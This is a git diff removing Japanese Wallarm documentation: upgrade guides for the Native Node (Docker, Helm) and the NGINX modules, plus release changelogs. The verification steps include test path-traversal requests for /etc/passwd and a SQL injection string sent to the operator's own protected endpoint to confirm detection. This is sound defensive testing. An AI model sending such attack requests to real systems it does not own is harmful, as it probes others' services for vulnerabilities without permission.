-=== "USクラウド" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e WALLARM_LABELS='group=' -e WALLARM_API_HOST='us1.api.wallarm.com' -v ./wallarm-node-conf.yaml:/opt/wallarm/etc/wallarm/go-node.yaml -p 80:5050 wallarm/node-native-aio:0.17.1 - ``` -=== "EUクラウド" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e WALLARM_LABELS='group=' -e WALLARM_API_HOST='api.wallarm.com' -v ./wallarm-node-conf.yaml:/opt/wallarm/etc/wallarm/go-node.yaml -p 80:5050 wallarm/node-native-aio:0.17.1 - ``` - -Environment variable | Description| Required ---- | ---- | ---- -`WALLARM_API_TOKEN` | `Node deployment/Deployment`の使用タイプを持つAPIトークンです。 | はい -`WALLARM_LABELS` | ノードインスタンスのグルーピング用に`group`ラベルを設定します。例えば:
        `WALLARM_LABELS="group="`はノードインスタンスを``インスタンスグループに配置します（既存のグループがある場合はそこへ、存在しない場合は作成されます）。 | はい -`WALLARM_API_HOST` | Wallarm APIサーバー:
        • USクラウドは`us1.api.wallarm.com`
        • EUクラウドは`api.wallarm.com`
        デフォルト: `api.wallarm.com`。 | いいえ - -* `-p`オプションはホストとコンテナのポートをマッピングします。 - * 最初の値（`80`）はホストのポートで、外部トラフィックに公開されます。 - * 2つ目の値（`5050`）はコンテナのポートで、`wallarm-node-conf.yaml`ファイルの`connector.address`設定と一致している必要があります。 -* 設定ファイルは、コンテナ内で`/opt/wallarm/etc/wallarm/go-node.yaml`としてマウントする必要があります。 - - 設定ファイルには、初回インストール時に使用したものを再利用できます。必要な場合のみ新しいパラメータを追加するか既存のものを変更してください。サポートされる[設定オプション](../../installation/native-node/all-in-one-conf.md)を参照してください。 - -## 4. アップグレードを検証します - -ノードが正しく動作していることを確認するには、次を実行します。 - -1. エラーがないかログを確認します。 - * デフォルトではログは`/opt/wallarm/var/log/wallarm/go-node.log`に書き込まれ、追加の出力はstdoutにも表示されます。 - * フィルタリングノードの[標準ログ](../../admin-en/configure-logging.md)（Wallarm Cloudへのデータ送信状況、検出された攻撃など）は、コンテナ内の`/opt/wallarm/var/log/wallarm`ディレクトリにあります。 -1. 保護されたリソースのアドレスに、テスト用の[パストラバーサル][ptrav-attack-docs]攻撃を含むリクエストを送信します。 - ``` - curl http://localhost/etc/passwd - ``` - - トラフィックが`example.com`にプロキシされるように構成されている場合は、リクエストに`-H "Host: example.com"`ヘッダーを含めてください。 -1. アップグレードされたノードが、前のバージョンと比較して期待どおりに動作することを確認します。 \ No newline at end of file diff --git a/docs/latest-ja/updating-migrating/native-node/helm-chart.md b/docs/latest-ja/updating-migrating/native-node/helm-chart.md deleted file mode 100644 index 4c8ab2828d..0000000000 --- a/docs/latest-ja/updating-migrating/native-node/helm-chart.md +++ /dev/null @@ -1,68 +0,0 @@ -[configure-proxy-balancer-instr]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[ip-list-docs]: ../../user-guides/ip-lists/overview.md -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md - -# Helmチャートを使用したWallarm Native Nodeのアップグレード - -この手順では、[Helmチャートを使用してデプロイされたNative Node](../../installation/native-node/helm-chart.md)をアップグレードする手順を説明します。 - -[Helmチャートのリリースを表示](node-artifact-versions.md) - -## 要件 - -HelmチャートでNative NodeをデプロイするKubernetesクラスターは、次の条件を満たす必要があります。 - -* [Helm v3](https://helm.sh/)パッケージマネージャーがインストールされていること。 -* APIが稼働しているAPIゲートウェイまたはCDNからのインバウンドアクセスが可能であること。 -* 以下へのアウトバウンドアクセスが可能であること: - - * `https://charts.wallarm.com` Wallarm Helmチャートのダウンロード - * `https://hub.docker.com/r/wallarm` デプロイに必要なDockerイメージのダウンロード - * `https://us1.api.wallarm.com`または`https://api.wallarm.com` US/EUのWallarm Cloud用 - * 以下のIPアドレス(攻撃検知ルールおよび[API仕様][api-spec-enforcement-docs]の更新のダウンロード、ならびに[許可リスト、拒否リスト、グレーリスト][ip-list-docs]に登録した国・地域・データセンターの正確なIPの取得に使用) - - --8<-- "../include/wallarm-cloud-ips.md" -* 上記に加えて、Wallarm ConsoleでAdministratorロールが割り当てられている必要があります。 - -## 1. Wallarm Helmチャートリポジトリを更新する - -```bash -helm repo update wallarm -``` - -## 2. WallarmのKubernetesサービスをアップグレードする - -デプロイ済みのKubernetesサービスまたはLoad Balancerをアップグレードします: - -``` bash -helm upgrade -n wallarm/wallarm-node-native --version 0.17.1 -f -``` - -* ``: 既存のHelmリリースの名前 -* ``: Helmリリースが存在するNamespace -* ``: デプロイ済みソリューションの構成を定義する[`values.yaml`ファイル](../../installation/native-node/helm-chart-conf.md)へのパス - - バージョン0.10.1以上にアップグレードする場合、`config.connector.log_level`パラメータを指定しているときは削除します。より詳細なロギングのため、これは[`config.connector.log`](../../installation/native-node/helm-chart-conf.md#configconnectorlog)セクションに置き換えられています。カスタマイズが必要な場合は`log.*`パラメータを指定します。 - -## 3. アップグレードを検証する - -1. WallarmのPodが起動して稼働していることを確認します: - - ``` - kubectl -n get pods - ``` - - 各Podのステータスは、**STATUS: Running**または**READY: N/N**である必要があります。例: - - ``` - NAME READY STATUS RESTARTS AGE - native-aggregation-5fb5d5444b-6c8n8 3/3 Running 0 51m - native-processing-7c487bbdc6-4j6mz 3/3 Running 0 51m - ``` -1. テスト用の[パストラバーサル][ptrav-attack-docs]攻撃を含むリクエストをAPIゲートウェイに送信します: - - ``` - curl https:///etc/passwd - ``` -1. アップグレードしたノードが、以前のバージョンと同様に期待どおり動作することを確認します。 \ No newline at end of file diff --git a/docs/latest-ja/updating-migrating/native-node/node-artifact-versions.md b/docs/latest-ja/updating-migrating/native-node/node-artifact-versions.md deleted file mode 100644 index 6677baa2f0..0000000000 --- a/docs/latest-ja/updating-migrating/native-node/node-artifact-versions.md +++ /dev/null @@ -1,248 +0,0 @@ -# Native Nodeのアーティファクトのバージョンと変更履歴 - -このドキュメントでは、さまざまな形態で提供される[バージョン](../versioning-policy.md)の[Native Wallarm Node](../../installation/nginx-native-node-internals.md#native-node) 0.14.x+を一覧で示し、リリースの追跡とアップグレード計画に役立てられるようにします。 - -## All-in-oneインストーラ - -Native Nodeのオールインワンインストーラは、[TCPトラフィックミラーの解析](../../installation/oob/tcp-traffic-mirror/deployment.md)およびMuleSoftの[Mule](../../installation/connectors/mulesoft.md)または[Flex](../../installation/connectors/mulesoft-flex.md) Gateway、[Akamai](../../installation/connectors/akamai-edgeworkers.md)、[CloudFront](../../installation/connectors/aws-lambda.md)、[Cloudflare](../../installation/connectors/cloudflare.md)、[Istio](../../installation/connectors/istio.md)、[Broadcom Layer7 API Gateway](../../installation/connectors/layer7-api-gateway.md)、[Fastly](../../installation/connectors/fastly.md)、[IBM DataPower](../../installation/connectors/ibm-api-connect.md)各コネクタを用いたセルフホスト型ノードのデプロイに使用します。 - -オールインワンインストーラの更新履歴はx86_64版とARM64(ベータ)版に同時に適用されます。 - -[アップグレード方法](all-in-one.md) - -### 0.17.1 (2025-08-15) - -* Cloudへの資格情報エクスポートに関する不具合を修正しました -* GraphQLパーサを改善しました -* スループット向上のため、Nodeとwstore間の内部チャネルを最適化しました - - これにより、Nodeがトラフィックを取り込む速度がpostanalyticsへのエクスポート速度を上回る場合の潜在的なデータ損失を防ぎます。 -* 送信元IPアドレスがないシリアライズ済みリクエストがpostanalyticsへエクスポートに失敗する問題を修正しました -* バグ修正および内部的な改善を行いました - -### 0.16.3 (2025-08-05) - -* [Akamaiコネクタ](../../installation/connectors/akamai-edgeworkers.md)をサポートしました -* アップグレード時に`--preserve`フラグを`true`に設定すると無言で失敗する問題を修正しました - -### 0.16.1 (2025-08-01) - -* 新しい[Prometheusメトリクス](../../admin-en/native-node-metrics.md)を追加しました: - - * 一般的なNative Nodeインスタンス情報を提供する`wallarm_gonode_application_info`（例）: - - ```bash - wallarm_gonode_application_info{deployment_type="node-native-aio-installer",mode="connector-server",version="0.16.1"} 1 - ``` - - * `wallarm_gonode_http_inspector_balancer_workers` - * `wallarm_gonode_http_inspector_debug_container_len`に`type="channel:in"`の場合の`aggregate="sum"`を追加しました - * `wallarm_gonode_http_inspector_errors_total`に新しい`type="FlowTimeouts"`を追加しました -* 内部`http_inspector`モジュールの安定性を改善しました - -### 0.16.0 (2025-07-23) - -* [MuleSoft Flex Gatewayコネクタ](../../installation/connectors/mulesoft-flex.md)をサポートしました -* どのリクエストをNodeが検査またはバイパスするかを定義できる[`input_filters`](../../installation/native-node/all-in-one-conf.md#input_filters)設定セクションを導入しました -* メモリリークを修正しました -* URI・名前空間・タグ名を結合した[**xml_tag**](../../user-guides/rules/request-processing.md#xml)値の区切り文字を`:`から`|`に変更しました -* denylistに登録されたオリジンとWallarm ConsoleのUIで設定したモードの組み合わせで発生するブロック問題を修正しました -* 内部的な改善を行いました - -### 0.15.1 (2025-07-08) - -* 信頼済みネットワークの設定および実クライアントIP・Hostヘッダー抽出を行う[`proxy_headers`](../../installation/native-node/all-in-one-conf.md#proxy_headers)設定を導入しました - - これは、`tcp-capture`モードの旧バージョンで使用していた`http_inspector.real_ip_header`を置き換えます。 -* `go-node`バイナリが公開するPrometheusメトリクスのプレフィックスをカスタマイズできる[`metrics.namespace`](../../installation/native-node/all-in-one-conf.md#metricsnamespace)設定オプションを追加しました -* `keep-alive`接続の上限を制御するため[`connector.per_connection_limits`](../../installation/native-node/all-in-one-conf.md#connectorper_connection_limits)を追加しました -* 些細な内部ファイル構造の変更を行いました -* wstoreのポートバインドを修正しました: `0.0.0.0`ではなく`127.0.0.1`にバインドするようにしました -* [CVE-2025-22874](https://nvd.nist.gov/vuln/detail/CVE-2025-22874)の脆弱性を修正しました -* [CVE-2025-47273](https://nvd.nist.gov/vuln/detail/CVE-2025-47273)の脆弱性を修正しました - -### 0.14.1 (2025-05-07) - -* [**enumeration**](../../api-protection/enumeration-attack-protection.md)の緩和コントロールをサポートしました -* [**DoS保護**](../../api-protection/dos-protection.md)の緩和コントロールをサポートしました -* [IBM API Connectコネクタ](../../installation/connectors/ibm-api-connect.md)をサポートしました -* [CVE-2024-56406](https://nvd.nist.gov/vuln/detail/CVE-2024-56406)、[CVE-2025-31115](https://nvd.nist.gov/vuln/detail/CVE-2025-31115)の脆弱性を修正しました -* `connector-server`モードで外部ヘルスチェックエンドポイントをサポートしました - - これは新しい[`connector.external_health_check`](../../installation/native-node/all-in-one-conf.md#connectorexternal_health_check)設定セクションで制御します。 -* リクエスト/レスポンスボディが断続的に破損することがある再発性の間欠的なバグを修正しました -* `tcp-capture`モードで以下の修正と更新を行いました: - - * GoReplayをGo 1.24でビルドするようにしました - * 修正: `goreplay`プロセスがクラッシュしても`go-node`プロセスがハングしなくなりました - * 修正: GoReplayのヘッダー解析時のスライス範囲外アクセスによるクラッシュを修正しました -* Wallarm Console → **Nodes**でのNative Nodeバージョン表示の不具合を修正しました - -### 0.14.0 (2025-04-16) - -* ローカルpostanalytics処理において、Wallarmが開発したサービスである**wstore**を使用するようになり、Tarantoolの使用を廃止しました -* すべてのフィルタリングノードにインストールされていたcollectdサービスと関連プラグインを削除しました - - これにより、外部ツールへの依存を減らし、Wallarmの組み込みメカニズムでメトリクスを収集・送信します。 - -## Helmチャート - -Native NodeのHelmチャートは、MuleSoftの[Mule](../../installation/connectors/mulesoft.md)または[Flex](../../installation/connectors/mulesoft-flex.md) Gateway、[Akamai](../../installation/connectors/akamai-edgeworkers.md)、[CloudFront](../../installation/connectors/aws-lambda.md)、[Cloudflare](../../installation/connectors/cloudflare.md)、[Broadcom Layer7 API Gateway](../../installation/connectors/layer7-api-gateway.md)、[Fastly](../../installation/connectors/fastly.md)、[IBM DataPower](../../installation/connectors/ibm-api-connect.md)、[Kong API Gateway](../../installation/connectors/kong-api-gateway.md)、[Istio](../../installation/connectors/istio.md)各コネクタを用いたセルフホスト型ノードのデプロイに使用します。 - -[アップグレード方法](helm-chart.md) - -### 0.17.1 (2025-08-15) - -* 信頼済みネットワークの設定および実クライアントIP・Hostヘッダー抽出を行う[`proxy_headers`](../../installation/native-node/helm-chart-conf.md#configconnectorproxy_headers)設定を導入しました -* Cloudへの資格情報エクスポートに関する不具合を修正しました -* GraphQLパーサを改善しました -* スループット向上のため、Nodeとwstore間の内部チャネルを最適化しました - - これにより、Nodeがトラフィックを取り込む速度がpostanalyticsへのエクスポート速度を上回る場合の潜在的なデータ損失を防ぎます。 -* 送信元IPアドレスがないシリアライズ済みリクエストがpostanalyticsへエクスポートに失敗する問題を修正しました -* バグ修正および内部的な改善を行いました - -### 0.16.3 (2025-08-05) - -* [Akamaiコネクタ](../../installation/connectors/akamai-edgeworkers.md)をサポートしました -* バグ修正を行いました - -### 0.16.1 (2025-08-01) - -* どのリクエストをNodeが検査またはバイパスするかを定義できる[`input_filters`](../../installation/native-node/helm-chart-conf.md#configconnectorinput_filters)設定セクションを導入しました -* 新しい[Prometheusメトリクス](../../admin-en/native-node-metrics.md)を追加しました: - - * 一般的なNative Nodeインスタンス情報を提供する`wallarm_gonode_application_info`（例）: - - ```bash - wallarm_gonode_application_info{deployment_type="node-native-aio-installer",mode="connector-server",version="0.16.1"} 1 - ``` - - * `wallarm_gonode_http_inspector_balancer_workers` - * `wallarm_gonode_http_inspector_debug_container_len`に`type="channel:in"`の場合の`aggregate="sum"`を追加しました - * `wallarm_gonode_http_inspector_errors_total`に新しい`type="FlowTimeouts"`を追加しました -* [Luaプラグインに依存するIstio向けのWallarm Connector](/5.x/installation/connectors/istio/)を非推奨化しました - - 代わりに[Istio向けgRPCベースの外部処理フィルター](../../installation/connectors/istio.md)の使用を推奨します。 -* 非推奨のIstioコネクタについて、既存デプロイの互換性を確保するため以下の改善を行いました: - - * メッセージのメッシュバランシングロジックを修正しました - * メッシュバランシングなしでNode上で全コネクタトラフィックを処理するための`disable_mesh`パラメータを追加しました（デフォルトは`false`で、メッシュバランシングは有効） -* 内部`http_inspector`モジュールの安定性を改善しました - -### 0.16.0 (2025-07-23) - -* [MuleSoft Flex Gatewayコネクタ](../../installation/connectors/mulesoft-flex.md)をサポートしました -* メモリリークを修正しました -* URI・名前空間・タグ名を結合した[**xml_tag**](../../user-guides/rules/request-processing.md#xml)値の区切り文字を`:`から`|`に変更しました -* denylistに登録されたオリジンとWallarm ConsoleのUIで設定したモードの組み合わせで発生するブロック問題を修正しました -* 内部的な改善を行いました - -### 0.15.1 (2025-07-08) - -* 受信**wstore**接続のアドレスとポートをカスタマイズするための[`config.aggregation.serviceAddress`](../../installation/native-node/helm-chart-conf.md#configaggregationserviceaddress)パラメータをサポートしました -* 些細な内部ファイル構造の変更を行いました -* [CVE-2025-22874](https://nvd.nist.gov/vuln/detail/CVE-2025-22874)の脆弱性を修正しました -* [CVE-2025-47273](https://nvd.nist.gov/vuln/detail/CVE-2025-47273)の脆弱性を修正しました - - -### 0.14.1 (2025-05-07) - -* [IBM API Connectコネクタ](../../installation/connectors/ibm-api-connect.md)をサポートしました -* [CVE-2025-22871](https://nvd.nist.gov/vuln/detail/CVE-2025-22871)の脆弱性を修正しました -* HelmチャートのヘッドレスServiceにおける`clusterIP: None`の処理を修正しました -* リクエスト/レスポンスボディが断続的に破損することがある再発性の間欠的なバグを修正しました -* Wallarm Console → **Nodes**でのNative Nodeバージョン表示の不具合を修正しました - -### 0.14.0 (2025-04-16) - -* ローカルpostanalytics処理において、Wallarmが開発したサービスである**wstore**を使用するようになり、Tarantoolの使用を廃止しました -* `values.yaml`内のすべての`tarantool`参照（コンテナ名・パラメータキーを含む）を`wstore`へリネームしました - - 設定でこれらのパラメータを上書きしている場合は、名称を対応して更新してください。 -* すべてのフィルタリングノードにインストールされていたcollectdサービスと関連プラグインを削除しました - - これにより、外部ツールへの依存を減らし、Wallarmの組み込みメカニズムでメトリクスを収集・送信します。 -* Kubernetesのシステムラベルとの競合を避けるため、`*_container_*`に一致するすべてのPrometheusメトリクスでラベル`container`を`type`にリネームしました - -## Dockerイメージ - -Native NodeのDockerイメージは、MuleSoftの[Mule](../../installation/connectors/mulesoft.md)または[Flex](../../installation/connectors/mulesoft-flex.md) Gateway、[Akamai](../../installation/connectors/akamai-edgeworkers.md)、[CloudFront](../../installation/connectors/aws-lambda.md)、[Cloudflare](../../installation/connectors/cloudflare.md)、[Istio](../../installation/connectors/istio.md)、[Broadcom Layer7 API Gateway](../../installation/connectors/layer7-api-gateway.md)、[Fastly](../../installation/connectors/fastly.md)、[IBM DataPower](../../installation/connectors/ibm-api-connect.md)各コネクタを用いたセルフホスト型ノードのデプロイに使用します。 - -[アップグレード方法](docker-image.md) - -### 0.17.1 (2025-08-15) - -* Cloudへの資格情報エクスポートに関する不具合を修正しました -* GraphQLパーサを改善しました -* スループット向上のため、Nodeとwstore間の内部チャネルを最適化しました - - これにより、Nodeがトラフィックを取り込む速度がpostanalyticsへのエクスポート速度を上回る場合の潜在的なデータ損失を防ぎます。 -* 送信元IPアドレスがないシリアライズ済みリクエストがpostanalyticsへエクスポートに失敗する問題を修正しました -* バグ修正および内部的な改善を行いました - -### 0.16.3 (2025-08-05) - -* [Akamaiコネクタ](../../installation/connectors/akamai-edgeworkers.md)をサポートしました -* アップグレード時に`--preserve`フラグを`true`に設定すると無言で失敗する問題を修正しました - -### 0.16.1 (2025-08-01) - -* 新しい[Prometheusメトリクス](../../admin-en/native-node-metrics.md)を追加しました: - - * 一般的なNative Nodeインスタンス情報を提供する`wallarm_gonode_application_info`（例）: - - ```bash - wallarm_gonode_application_info{deployment_type="node-native-aio-installer",mode="connector-server",version="0.16.1"} 1 - ``` - - * `wallarm_gonode_http_inspector_balancer_workers` - * `wallarm_gonode_http_inspector_debug_container_len`に`type="channel:in"`の場合の`aggregate="sum"`を追加しました - * `wallarm_gonode_http_inspector_errors_total`に新しい`type="FlowTimeouts"`を追加しました -* 内部`http_inspector`モジュールの安定性を改善しました - -### 0.16.0 (2025-07-23) - -* [MuleSoft Flex Gatewayコネクタ](../../installation/connectors/mulesoft-flex.md)をサポートしました -* どのリクエストをNodeが検査またはバイパスするかを定義できる[`input_filters`](../../installation/native-node/all-in-one-conf.md#input_filters)設定セクションを導入しました -* メモリリークを修正しました -* URI・名前空間・タグ名を結合した[**xml_tag**](../../user-guides/rules/request-processing.md#xml)値の区切り文字を`:`から`|`に変更しました -* denylistに登録されたオリジンとWallarm ConsoleのUIで設定したモードの組み合わせで発生するブロック問題を修正しました -* 内部的な改善を行いました - -### 0.15.1 (2025-07-08) - -* 信頼済みネットワークの設定および実クライアントIP・Hostヘッダー抽出を行う[`proxy_headers`](../../installation/native-node/all-in-one-conf.md#proxy_headers)設定を導入しました - - これは、`tcp-capture`モードの旧バージョンで使用していた`http_inspector.real_ip_header`を置き換えます。 -* `go-node`バイナリが公開するPrometheusメトリクスのプレフィックスをカスタマイズできる[`metrics.namespace`](../../installation/native-node/all-in-one-conf.md#metricsnamespace)設定オプションを追加しました -* `keep-alive`接続の上限を制御するため[`connector.per_connection_limits`](../../installation/native-node/all-in-one-conf.md#connectorper_connection_limits)を追加しました -* 些細な内部ファイル構造の変更を行いました -* wstoreのポートバインドを修正しました: `0.0.0.0`ではなく`127.0.0.1`にバインドするようにしました -* [CVE-2025-22874](https://nvd.nist.gov/vuln/detail/CVE-2025-22874)の脆弱性を修正しました -* [CVE-2025-47273](https://nvd.nist.gov/vuln/detail/CVE-2025-47273)の脆弱性を修正しました - -### 0.14.1 (2025-05-07) - -* [IBM API Connectコネクタ](../../installation/connectors/ibm-api-connect.md)をサポートしました -* [CVE-2025-22871](https://nvd.nist.gov/vuln/detail/CVE-2025-22871)の脆弱性を修正しました -* 外部ヘルスチェックエンドポイントをサポートしました - - これは新しい[`connector.external_health_check`](../../installation/native-node/all-in-one-conf.md#connectorexternal_health_check)設定セクションで制御します。 -* リクエスト/レスポンスボディが断続的に破損することがある再発性の間欠的なバグを修正しました -* Wallarm Console → **Nodes**でのNative Nodeバージョン表示の不具合を修正しました - -### 0.14.0 (2025-04-16) - -* ローカルpostanalytics処理において、Wallarmが開発したサービスである**wstore**を使用するようになり、Tarantoolの使用を廃止しました -* すべてのフィルタリングノードにインストールされていたcollectdサービスと関連プラグインを削除しました - - これにより、外部ツールへの依存を減らし、Wallarmの組み込みメカニズムでメトリクスを収集・送信します。 - -## Amazon Machine Image(AMI) - - - -### 0.14.0 (2025-05-07) - -* 初回リリース \ No newline at end of file diff --git a/docs/latest-ja/updating-migrating/nginx-modules.md b/docs/latest-ja/updating-migrating/nginx-modules.md deleted file mode 100644 index 82b6e47abd..0000000000 --- a/docs/latest-ja/updating-migrating/nginx-modules.md +++ /dev/null @@ -1,177 +0,0 @@ -[wallarm-status-instr]: ../admin-en/configure-statistics-service.md -[ptrav-attack-docs]: ../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../admin-en/configure-wallarm-mode.md -[blocking-page-instr]: ../admin-en/configuration-guides/configure-block-page-and-code.md -[logging-instr]: ../admin-en/configure-logging.md -[proxy-balancer-instr]: ../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-selinux-instr]: ../admin-en/configure-selinux.md -[configure-proxy-balancer-instr]: ../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[install-postanalytics-instr]: ../admin-en/installation-postanalytics-en.md -[dynamic-dns-resolution-nginx]: ../admin-en/configure-dynamic-dns-resolution-nginx.md -[img-wl-console-users]: ../images/check-users.png -[img-create-wallarm-node]: ../images/user-guides/nodes/create-cloud-node.png -[nginx-process-time-limit-docs]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[nginx-process-time-limit-block-docs]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit_block -[overlimit-res-rule-docs]: ../user-guides/rules/configure-overlimit-res-detection.md -[graylist-docs]: ../user-guides/ip-lists/overview.md -[wallarm-token-types]: ../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[oob-docs]: ../installation//oob/overview.md -[sqli-attack-docs]: ../attacks-vulns-list.md#sql-injection -[xss-attack-docs]: ../attacks-vulns-list.md#crosssite-scripting-xss -[web-server-mirroring-examples]: ../installation/oob/web-server-mirroring/overview.md#configuration-examples-for-traffic-mirroring -[ip-lists-docs]: ../user-guides/ip-lists/overview.md - -# Wallarm NGINXモジュールのアップグレード - -本手順では、個別パッケージからインストールされたWallarm NGINXモジュール4.xをバージョン6.xにアップグレードする手順を説明します。以下のいずれかの手順に従ってインストールされたモジュールが対象です: - -* NGINX stable向けの個別パッケージ -* NGINX Plus向けの個別パッケージ -* ディストリビューション提供のNGINX向けの個別パッケージ - -!!! info "all-in-one installerでのアップグレード" - バージョン4.10以降、個別のLinuxパッケージは非推奨となり、Wallarmの[all-in-one installer](../installation/nginx/all-in-one.md)を使用してアップグレードします。この方法は、以前のアプローチと比べて、アップグレード作業と継続的なデプロイ運用を簡素化します。 - - インストーラーは次の処理を自動で実行します: - - 1. OSとNGINXのバージョンを確認します。 - 1. 検出されたOSおよびNGINXのバージョンに対応するWallarmリポジトリを追加します。 - 1. これらのリポジトリからWallarmパッケージをインストールします。 - 1. インストール済みのWallarmモジュールをNGINXに接続します。 - 1. 提供されたトークンを使用してフィルタリングノードをWallarm Cloudに接続します。 - - ![手動手順とAll-in-oneの比較](../images/installation-nginx-overview/manual-vs-all-in-one.png) - -サポート終了のノード(3.6以下)をアップグレードする場合は、[別の手順](older-versions/nginx-modules.md)を使用してください。 - -## 要件 - ---8<-- "../include/waf/installation/all-in-one-upgrade-requirements.md" - -## アップグレード手順 - -* フィルタリングノードとpostanalyticsモジュールが同一サーバーにインストールされている場合は、以下の手順に従って両方をアップグレードしてください。 - - クリーンなマシンでall-in-one installerを使用して新しいバージョンのノードを起動し、動作をテストしたうえで、旧ノードを停止し、トラフィックが旧マシンではなく新マシンを経由するように構成する必要があります。 - -* フィルタリングノードとpostanalyticsモジュールが別サーバーにインストールされている場合は、[こちらの手順](../updating-migrating/separate-postanalytics.md)に従い、最初にpostanalyticsモジュールを、次にフィルタリングモジュールをアップグレードしてください。 - -## 手順1: クリーンなマシンを準備する - ---8<-- "../include/waf/installation/all-in-one-clean-machine-latest.md" - -## 手順2: 最新のNGINXと依存関係をインストールする - ---8<-- "../include/waf/installation/all-in-one-nginx.md" - -## 手順3: Wallarmトークンを準備する - ---8<-- "../include/waf/installation/all-in-one-token.md" - -## 手順4: Wallarmのall-in-one installerをダウンロードする - ---8<-- "../include/waf/installation/all-in-one-installer-download.md" - -## 手順5: Wallarmのall-in-one installerを実行する - -### 同一サーバー上のフィルタリングノードとpostanalytics - ---8<-- "../include/waf/installation/all-in-one-installer-run.md" - -### 別サーバー上のフィルタリングノードとpostanalytics - -!!! warning "フィルタリングノードとpostanalyticsモジュールをアップグレードする手順の順序" - フィルタリングノードとpostanalyticsモジュールが別サーバーにインストールされている場合は、フィルタリングノードのパッケージを更新する前に、postanalyticsのパッケージをアップグレードする必要があります。 - -1. [こちらの手順](separate-postanalytics.md)に従ってpostanalyticsモジュールをアップグレードします。 -1. フィルタリングノードをアップグレードします: - - === "APIトークン" - ```bash - # x86_64版を使用する場合: - sudo env WALLARM_LABELS='group=' sh wallarm-6.4.1.x86_64-glibc.sh filtering - - # ARM64版を使用する場合: - sudo env WALLARM_LABELS='group=' sh wallarm-6.4.1.aarch64-glibc.sh filtering - ``` - - `WALLARM_LABELS`変数は、ノードが追加されるグループを設定します(Wallarm Console UIでのノードの論理グルーピングに使用します)。 - - === "ノードトークン" - ```bash - # x86_64版を使用する場合: - sudo sh wallarm-6.4.1.x86_64-glibc.sh filtering - - # ARM64版を使用する場合: - sudo sh wallarm-6.4.1.aarch64-glibc.sh filtering - ``` - -## 手順6: 旧ノードのマシンから新しいマシンへNGINXとpostanalyticsの設定を移行する - -必要なディレクティブやファイルをコピーして、旧マシンから新マシンへノード関連のNGINXおよびpostanalyticsの設定を移行します: - -* `/etc/nginx/conf.d/default.conf` または `/**etc/nginx/nginx.conf**` のhttpレベルに関するNGINX設定 - - フィルタリングノードとpostanalyticsノードが別サーバーにある場合は、フィルタリングノードのマシン上の`/etc/nginx/nginx.conf`の`http`ブロック内で、`wallarm_tarantool_upstream`を[`wallarm_wstore_upstream`](../admin-en/configure-parameters-en.md#wallarm_wstore_upstream)にリネームします。 -* `/etc/nginx/sites-available/default` トラフィックルーティングのためのNGINXおよびWallarm設定 -* `/etc/nginx/conf.d/wallarm-status.conf` → 新しいマシン上の `/etc/nginx/wallarm-status.conf` にコピーします - - 詳細は[リンク][wallarm-status-instr]内にあります。 -* `/etc/wallarm/node.yaml` → 新しいマシン上の `/opt/wallarm/etc/wallarm/node.yaml` にコピーします - - 別のpostanalyticsサーバーでカスタムのホストとポートを使用している場合は、postanalyticsノードのマシン上でコピーしたファイル内の`tarantool`セクションを`wstore`にリネームします。 - -## 手順7: NGINXを再起動する - ---8<-- "../include/waf/installation/restart-nginx-systemctl.md" - -## 手順8: Wallarmノードの動作をテストする - -新しいノードの動作をテストするには、次を実行します: - -1. テスト用の[SQLインジェクション][sqli-attack-docs]および[クロスサイトスクリプティング(XSS)][xss-attack-docs]を含むリクエストを保護対象のリソースアドレスに送信します: - - ``` - curl http://localhost/?id='or+1=1--a-' - ``` - -1. US CloudまたはEU CloudのWallarm Console → **Attacks**セクションを開き、攻撃が一覧に表示されていることを確認します。 -1. Cloudに保存されているデータ(ルール、IP lists)が新しいノードと同期されたら、いくつかテスト攻撃を実行してルールが期待どおりに動作することを確認します。 - -## 手順9: トラフィックをWallarmノードへ送信するよう構成する - -ロードバランサーの転送先を更新して、トラフィックをWallarmインスタンスへ送信するようにします。詳細は、使用しているロードバランサーのドキュメントを参照してください。 - -トラフィックを新しいノードへ完全に切り替える前に、まず一部のみをリダイレクトし、新しいノードが期待どおりに動作することを確認することを推奨します。 - -## 手順10: 旧ノードを削除する - -1. Wallarm Console → **Nodes**で対象のノードを選択し、**Delete**をクリックして旧ノードを削除します。 -1. 操作を確認します。 - - Cloudからノードを削除すると、アプリケーションへのリクエストのフィルタリングは停止します。フィルタリングノードの削除は元に戻せません。ノードはノード一覧から完全に削除されます。 - -1. 旧ノードが動作しているマシンを削除するか、Wallarmノードのコンポーネントのみを削除します: - - === "Debian" - ```bash - sudo apt remove wallarm-node nginx-module-wallarm - ``` - === "Ubuntu" - ```bash - sudo apt remove wallarm-node nginx-module-wallarm - ``` - === "CentOS or Amazon Linux 2.0.2021x and lower" - ```bash - sudo yum remove wallarm-node nginx-module-wallarm - ``` - === "AlmaLinux, Rocky Linux or Oracle Linux 8.x" - ```bash - sudo yum remove wallarm-node nginx-module-wallarm - ``` - === "RHEL 8.x" - ```bash - sudo yum remove wallarm-node nginx-module-wallarm - ``` \ No newline at end of file diff --git a/docs/latest-ja/updating-migrating/node-artifact-versions.md b/docs/latest-ja/updating-migrating/node-artifact-versions.md deleted file mode 100644 index 0de40e4377..0000000000 --- a/docs/latest-ja/updating-migrating/node-artifact-versions.md +++ /dev/null @@ -1,310 +0,0 @@ -# NGINXノードのアーティファクトのバージョンと変更履歴 - -このドキュメントでは、各種形態で提供される[NGINX Wallarm Node](../installation/nginx-native-node-internals.md#nginx-node) 6.xの[バージョン](versioning-policy.md)を一覧化し、リリースの追跡とアップグレード計画に役立てます。 - -## all-in-oneインストーラー - -バージョン4.10以降、Wallarmノードのインストールとアップグレードは[all-in-oneインストーラー](../installation/nginx/all-in-one.md)のみで実行します。個別のLinuxパッケージによる手動アップグレードはサポートされなくなりました。 - -all-in-oneインストーラーの更新履歴はx86_64版およびARM64（ベータ）版に同時に適用されます。 - 